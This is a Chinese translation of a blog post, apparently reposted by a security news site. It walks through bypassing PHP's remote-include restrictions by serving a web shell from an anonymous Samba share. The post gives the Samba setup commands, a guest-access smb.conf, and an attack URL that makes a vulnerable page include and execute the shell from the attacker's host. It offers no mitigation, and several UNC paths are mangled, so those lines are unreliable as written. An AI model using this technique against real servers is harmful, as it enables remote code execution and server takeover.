在這篇博客文章中,我將演示在PHP應用程序中利用遠程文件包含(RFI)漏洞的技術,該漏洞容易受到「文件包含攻擊」的影響。我們將繞過遠程URL包含限制,並執行RFI的開發,即使PHP環境配置為不包含來自遠程HTTP/FTP URL的文件。

PHP和SMB共享文件訪問

在PHP配置文件中,「allow_url_include」包裝器默認設置為「Off」,表示PHP不載入遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。但是,即使「allow_url_include」和「allow_url_fopen」都設置為「Off」,PHP也不會阻止SMB URL載入。PHP的這種行為可以被濫用來從SMB共享載入遠程託管的PHP web shell。

攻擊場景

當易受攻擊的PHP應用程序代碼嘗試從受攻擊者控制的SMB共享載入PHP web shell時,SMB共享應該允許訪問該文件。攻擊者需要將SMB伺服器配置為啟用匿名瀏覽訪問。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP web shell,SMB伺服器將不會要求任何憑據,易受攻擊的應用程序將包含web shell的PHP代碼。

讓我們開始吧,首先我重新配置了PHP環境,並在php.ini文件中禁用「allow_url_fopen」以及「allow_url_include」。然後配置SMB伺服器具有匿名讀訪問許可權。一旦SMB共享準備就緒,就可以利用易受攻擊的應用程序。

PHP環境設置

在其上託管易受攻擊代碼的機器將「allow_url_fopen」和「allow_url_include」設置為「Off」。

PHP版本「5.5.11」的當前配置的屏幕截圖:

在繼續之前,首先確保當我們嘗試訪問HTTP上託管的Web shell時,PHP代碼不允許遠程文件包含。

當我試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤,RFI沒有發生。

使用匿名讀取訪問許可權配置SAMBA伺服器(Linux計算機)

使用下面提到的命令安裝SAMBA伺服器:

apt-get install samba

創建SMB共享目錄(在本文中是/var/www/html/pub/)

mkdir /var/www/html/pub/

在新創建的SMB共享目錄上配置許可權:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

運行以下命令刪除SAMBA伺服器配置文件的默認內容

echo > /etc/samba/smb.conf

將下面的內容放入「/etc/samba/smb.conf」文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

現在,重啟SAMBA伺服器以應用配置文件/etc/samba/smb.conf中的新配置

service smbd restart

成功重啟SAMBA伺服器後,嘗試訪問SMB共享,並確保SAMBA伺服器不要求憑據。

在本文中,SAMBA伺服器IP是192.168.0.3,我需要訪問Windows文件資源管理器中的SMB共享, 如下所述:

\192.168.0.3

在SMB共享中託管PHP Web shell

很好,SMB共享是可訪問的,並顯示目錄「ica」是存在的。

現在,在目錄「/var/www/html/pub」中託管PHP shell,這是SMB共享「ica」的目錄。

一旦我們在目錄「/var/www/html/pub」中有了PHP shell,就可以使用Windows文件資源管理器訪問SMB共享目錄ica。

\192.168.0.3ica

您將看到PHP shell存在是SMB共享目錄。在本文中,它是box.php

攻擊文件包含易受攻擊的參數

完美,讓我們使用這個PHP shell SMB鏈接,並使用易受攻擊的PHP代碼瀏覽它。

http://vulnerable_application/page.php?page=\192.168.0.3icaox.php

噹噹!易受攻擊的PHP代碼從SMB共享中獲取Web shell,並在應用程序伺服器上執行代碼。我們已經繞過了限制,並包含了託管在遠程主機上的Web shell。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:利用PHP應用程序中的遠程文件包含(RFI)並繞過遠程URL包含限制|NOSEC安全訊息平臺 - 白帽匯安全研究院

原文:mannulinux.org/2019/05/

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相關文章